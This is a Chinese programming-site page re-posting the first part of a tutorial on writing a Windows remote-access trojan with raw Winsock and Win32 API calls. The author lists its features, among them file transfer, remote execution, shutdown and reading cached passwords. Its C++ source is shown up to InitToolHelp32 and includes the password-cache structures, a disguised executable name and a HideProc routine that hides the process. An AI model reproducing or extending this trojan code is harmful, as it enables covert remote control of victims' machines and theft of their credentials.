⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 2118104901.txt

📁 c++ builder 的一些txt文档
💻 TXT
字号:

化境编程界-
一个简单木马列子(1)
 
 
  
  化境编程界首页| 化境软件库 | 化境教程库 | 其它资源 | 化境讨论区
| 化境留言板
 
 
  
  
   
showTop();
  
 
 
  欢迎访问《化境编程界》| * Email:5xsoft@21cn.com | < 留言板
 
  化境编程界 ->  技术文章 ->  C/C++/VC    
一个简单木马列子(1)
 [ 作者: 病毒
  添加时间: 2001-5-21 18:12:02
 ]
 
   来源:绿色兵团 
俺写文章一般都赋源代码.除关键部分外向来不爱打太多说明性文字,因为觉得这样 
才比较实际,关于那些函数用法和功能大可以去翻书,哪里讲的比谁都详细. 
这里给了一个俺用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能, WIN 9X,NT/2000下均 可使用,在NT,2000下,因考虑到如CMD.EXE已改名或不存在,那么程序 将毫无用处. 所以 并没有调用CMD.EXE来完成,全部由自己来做,WIN API实现.要想自己程序通用就不要怕 麻烦.建议那些用现成控件写木马和网络通讯的朋友应该看看,去熟悉这些根本所在, 尤其是在网络 通讯方面.如果你是个程序员 我想大可不必用我多说,在开发中俺还没见过哪家公司让 用现成类 (MFC,VCL)来做的. 
此程序还不很健壮,写完后也没来的及优化,主要是拿来让大家熟悉一下WINSOCK和WIN SDK编程. 
//--------------------------------------------------------------------------- 
// WINSOCK API,WIN SDK编程,无需客户端 
// 
// 作者: 贾佳 
//--------------------------------------------------------------------------- 
#include <windows.h> 
#include <winsock.h> 
#include <mmsystem.h> 
#pragma hdrstop 
#include <condefs.h> 
#pragma argsused 
#define RUN "\\WinMon32.exe" 
//注册服务 
#define SERVICE_PROC 1 
//卸载服务 
#define UNSERVICE_PROC 0 
#define TH32CS_SNAPPROCESS 0x00000002 
#define PROCESS_HANDLE_NAME 255 
//缓冲区长度 
#define dwBuffSize 2048 
//命令行长度 
#define dwComm 50 
#define PORT 9102 
#define WM_SOCKET WM_USER+1 
#define PROMPT "LanLan:\\>" 
DWORD dwVersion=MAKEWORD(1,1); 
DWORD dwFlag=TRUE; 
WSADATA wsaData; 
SOCKET CreateSock,NewSock; 
SOCKADDR_IN Sock_in,NewSock_in; 
LPTSTR szReadBuff,Ob,TempBuff; 
int addrlen; 
//CACHE PASSWORD结构 
typedef struct tagPASSWORD_CACHE_ENTRY { 
WORD cbEntry; 
WORD cbResource; 
WORD cbPassword; 
BYTE iEntry; 
BYTE nType; 
char abResource[1]; 
} PASSWORD_CACHE_ENTRY; 
typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); 
//CACHE PASSWORD函数原形 
typedef WORD (WINAPI *PWNetEnumCachedPasswords)( 
LPSTR pbPrefix, 
DWORD cbPrefix, 
DWORD nType, 
CACHECALLBACK pfnCallback, 
DWORD UNKNOWN 
); 
//TOOLHELP32 结构 
typedef struct tagPROCESSENTRY32 
{ 
DWORD dwSize; 
DWORD cntUsage; 
DWORD th32ProcessID; 
DWORD th32DefaultHeapID; 
DWORD th32ModuleID; 
DWORD cntThreads; 
DWORD th32ParentProcessID; 
LONG pcPriClassBase; 
DWORD dwFlags; 
TCHAR szExeFile[MAX_PATH]; 
} PROCESSENTRY32; 
typedef PROCESSENTRY32 * LPPROCESSENTRY32; 
//定义TOOLHELP32,PSAPI函数指针 
HANDLE (WINAPI *CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32PD); 
BOOL (WINAPI *Process32First)(HANDLE hSnapshot,LPPROCESSENTRY32 pe); 
BOOL (WINAPI *Process32Next)(HANDLE hSnapshot,LPPROCESSENTRY32 pe); 
BOOL (WINAPI *EnumProcesses)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded); 
DWORD (WINAPI *GetModuleFileNameExA)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize); 
HINSTANCE DLLInst; 
DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD); 
//--------------------------------------------------------------------------- 
// GetOS 
// 判断操作系统 
//--------------------------------------------------------------------------- 
DWORD WINAPI GetOS() 
{ 
OSVERSIONINFO os; 
TCHAR sVersion[MAX_PATH]; 
os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 
GetVersionEx(&os); 
switch(os.dwPlatformId) 
{ 
case VER_PLATFORM_WIN32_WINDOWS: 
return VER_PLATFORM_WIN32_WINDOWS; 
case VER_PLATFORM_WIN32_NT: 
return VER_PLATFORM_WIN32_NT; 
} 
} 
//--------------------------------------------------------------------------- 
// HideProc 
// 注册进程 
//--------------------------------------------------------------------------- 
BOOL WINAPI HideProc(int mode) 
{ 
DLLInst=LoadLibrary("KERNEL32.DLL"); 
if(DLLInst) 
{ 
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD)) 
GetProcAddress(DLLInst,"RegisterServiceProcess"); 
if(RegisterServiceProcess) 
{ 
RegisterServiceProcess(GetCurrentProcessId(),mode); 
return TRUE; 
} 
else 
return FALSE; 
} 
else return FALSE; 
} 
//--------------------------------------------------------------------------- 
// EnumProcess 
// 枚举进程 
//--------------------------------------------------------------------------- 
//初始化TOOLHELP32 
BOOL InitToolHelp32() 
{ 
HINSTANCE DLLinst=LoadLibrary("KERNEL32.DLL"); 
   
   
  
   下一页 8
 相关内容:
 
- WINNT下隐藏木马的进程 DLL木马篇
 
showBottom();
申明: 本站
 所有内容均是从网上收集,若有侵范你版权的请指出,本站马上删除。
 © Copyright By 稻香老农 2000.3 - Now | 站务联系: 5xsoft@21cn.com | OICQ:593737 (只用于站务联系,不做它用)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -